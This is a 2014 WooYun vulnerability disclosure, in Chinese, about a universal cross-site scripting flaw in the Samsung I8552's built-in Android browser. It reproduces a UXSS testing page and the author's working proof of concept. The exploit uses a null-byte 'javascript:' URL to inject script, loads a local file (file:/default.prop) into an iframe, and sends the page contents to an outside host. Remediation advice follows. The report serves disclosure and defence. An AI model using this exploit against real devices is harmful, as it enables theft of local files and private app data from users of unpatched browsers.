当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081165

漏洞标题:三星I8552手机自带浏览器存在Uxss引发的一场血案

相关厂商:三星

漏洞作者: 袋鼠爸爸

提交时间:2014-10-30 11:15

修复时间:2014-12-30 14:44

公开时间:2014-12-30 14:44

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-30: 细节已通知厂商并且等待厂商处理中
2014-11-04: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-12-29: 细节向核心白帽子及相关领域专家公开
2015-01-08: 细节向普通白帽子公开
2015-01-18: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

昨晚实在太无聊了。。跑去乌云的文章:http://drops.wooyun.org 看了几篇文章。看到了个android uxss的文章随后我就试试手机的firefox浏览器谁知道不行。。接着我就试了下手机自带的浏览器。。OK。。接着。。发生以下的血案

详细说明:

文章社区中有个在线测试是否存在uxss漏洞。这里我也就贴上代码给大家自己测试下呗。。

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">
<title>wooyun uxss测试</title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet">
<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
<script src="http://libs.baidu.com/bootstrap/3.0.3/js/bootstrap.min.js"></script>
<script src="/poc.js"></script>
</head>
<body>
<h2 class="text-center">wooyun UXSS 测试</h2>
<p>
<center> <button type="button" class="btn btn-primary btn-lg">正在测试</button></center>
</p>
<div class="progress progress-striped active">
<div class="progress-bar progress-bar-success" role="progressbar"
aria-valuenow="60" aria-valuemin="0" aria-valuemax="100"
style="width: 0%;">
<span>0%</span>
</div>
</div>
<hr>
<div id="testing">
</div>
<script>

window.i = 0;
window.total = 6 //payload的个数
var result_view = function(result_arr){

view_html = "";
all_poc_length = 0;
all_poc_html = "";
for(i in poc){
all_poc_html += "<p>" + poc[i] + "</p>";
all_poc_length ++;
}
result_arr_length = result_arr.length;
if(result_arr_length == 0){ //未发现漏洞
view_html = result_view_html.replace("<bugpoctitle>", "未发现漏洞,详情如下:")
view_html = view_html.replace("<bugpoccontent>", "使用总共的"+all_poc_length+"个poc测试,未发现漏洞存在");
}else{ //统计漏洞信息
tmp_html = "";
for(i = 0; i< result_arr_length; i++){
tmp_html += "<p>存在漏洞:" + poc[result_arr[i]] + "</p>";
}
view_html = result_view_html.replace("<bugpoctitle>", "发现了"+result_arr_length+"个漏洞,详情如下:");
view_html = view_html.replace("<bugpoccontent>", tmp_html);
}
view_html = view_html.replace("<totoalpoctest>", all_poc_length);
view_html = view_html.replace("<allpoccontent>", all_poc_html);

result_html = $("#testing").html(view_html);
$(".btn-primary").text("测试完成");

}

var result = function(code){ //返回结果
$.getJSON("/get.php?code=" + code, function(data){
result_arr = new Array();
result_html = $("#testing").html();
result_html += "<p>测试结果:</p>";

if(data.status == true){
result = data.msg;
for(i in result){
if (result[i] == 1){ //表示存在问题
//result_html += "<p>存在" + i + "漏洞</p>";
result_arr.push(i);
}
}
}

result_view(result_arr);

for(j=1; j< 11; j++){ //清空一下iframe
$("#poc" + j ).attr("src","");
}
});
}

var poc_start = function(i, code){

if(i == 1){
$("#testing").html("<p>开始测试..............</p>")
}

if(i == window.total + 1){

tmp_html = $("#testing").html();
tmp_html += "<p>测试完成..................</p>";
$("#testing").html(tmp_html);
clearInterval(window.timer);
$(".btn-primary").text("统计结果中.....");
setTimeout("result(code)", 3000); //3秒后取结果
return;
}

iframesrc = i + ".php?code=" + code;
test_html = $("#testing").html();
test_html += "<p>正在测试 第"+ i + "个payload</p>"
$("#testing").html(test_html);

$("#poc" + i ).attr("src","/poc/" + iframesrc)

progress = i / window.total;
progress = progress.toFixed(2) * 100 + "%";

$(".progress-bar").attr("style", "width:" + progress);
$(".progress-bar").text(progress);

}
var start = function(token){
$.getJSON("/getcode.php?token=" + token, function(data){

if(data.status == true){

code = data.code;

window.i += 1;
j = window.i
poc_start(j, code);
}else{
clearInterval(window.timer);
alert(data.msg);
}

});
}


$(".btn-primary").click(function(){

// window.timer = window.setInterval("start('8237dac8d0')", 1000);


})
window.timer = window.setInterval("start('8237dac8d0')", 1000);

</script>
<iframe id="poc1" width=0 height=0></iframe>
<iframe id="poc2" width=0 height=0></iframe>
<iframe id="poc3" width=0 height=0></iframe>
<iframe id="poc4" width=0 height=0></iframe>
<iframe id="poc5" width=0 height=0></iframe>
<iframe id="poc6" width=0 height=0></iframe>
<iframe id="poc7" width=0 height=0></iframe>
<iframe id="poc8" width=0 height=0></iframe>
<iframe id="poc9" width=0 height=0></iframe>
<iframe id="poc10" width=0 height=0></iframe>
</body>
</html>


这个代码不是我原创的哈。。别喷。。

1.png

于是我们收集了一些命中率较高的POC来验证到底哪些app更靠谱一些。
https://code.google.com/p/chromium/issues/detail?id=37383
https://code.google.com/p/chromium/issues/detail?id=90222
https://code.google.com/p/chromium/issues/detail?id=98053
https://code.google.com/p/chromium/issues/detail?id=117550
https://code.google.com/p/chromium/issues/detail?id=143437
https://code.google.com/p/chromium/issues/detail?id=143439
你看。。多神的一个话题。。由于我没钱啊。。所以用的手机很菜。。你看街边这么多拿着低版本安卓系统的用户。。随意窃取信息不成问题了。。

漏洞证明:

构造了个窃取本地信息的poc
test.html

<button onclick="iframe.src='http://notfound/'">x</button><br>
<button onclick="exploit1()">Get local file!</button><br>
<script>
function exploit1() {
window.open('\u0000javascript:document.body.innerHTML="<script/src=http://site/test.js></scr"+"ipt><iframe src=file:/default.prop onload=exploit2() style=width:100%;height:1000px; name=test2></iframe>";','test');
}
</script>
<iframe src="http://m.baidu.com/" id="iframe" style="width:100%;height:1000px;" name="test"></iframe>


然后再构造个test.js:

var flag = 0;
function exploit2(){
if(flag) {return}
window.open('\u0000javascript:location.replace("http://sectest.sinaapp.com/cross/test.php?test="+escape(document.body.innerHTML))','test2');
flag = 1;
}


由于我找不到手机自带浏览器所以看不到这个结果。。不然。。呵呵!相应app私有目录/data/data/packagename/下文件

修复方案:

厂商(仅供参考):
1、服务端禁止iframe嵌套X-FRAME-OPTIONS:DENY。详见:http://drops.wooyun.org/papers/104
2、客户端使用setAllowFileAccess(false)方法禁止webview访问本地域。详见:setAllowFileAccess(boolean)
3、客户端使用onPageStarted (WebView view, String url, Bitmap favicon)方法在跳转前进行跨域判断。详见[onPageStarted (WebView view, String url, Bitmap favicon)][8]
4、客户端对iframe object标签属性进行过滤。
用户:
1、使用漏洞较少的app,及时更新app。
2、不要随意打开一些莫名其妙的链接。
3、有钱你就买新手机吧,android L马上出来了。(可以通过google play推送安全补丁,呵呵)
0x05 利用
(此部分考虑到影响并未第一时间放出,现在漏洞已经被忽略,在此更新)

版权声明:转载请注明来源 袋鼠爸爸@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 14:44

厂商回复:

最新状态:

暂无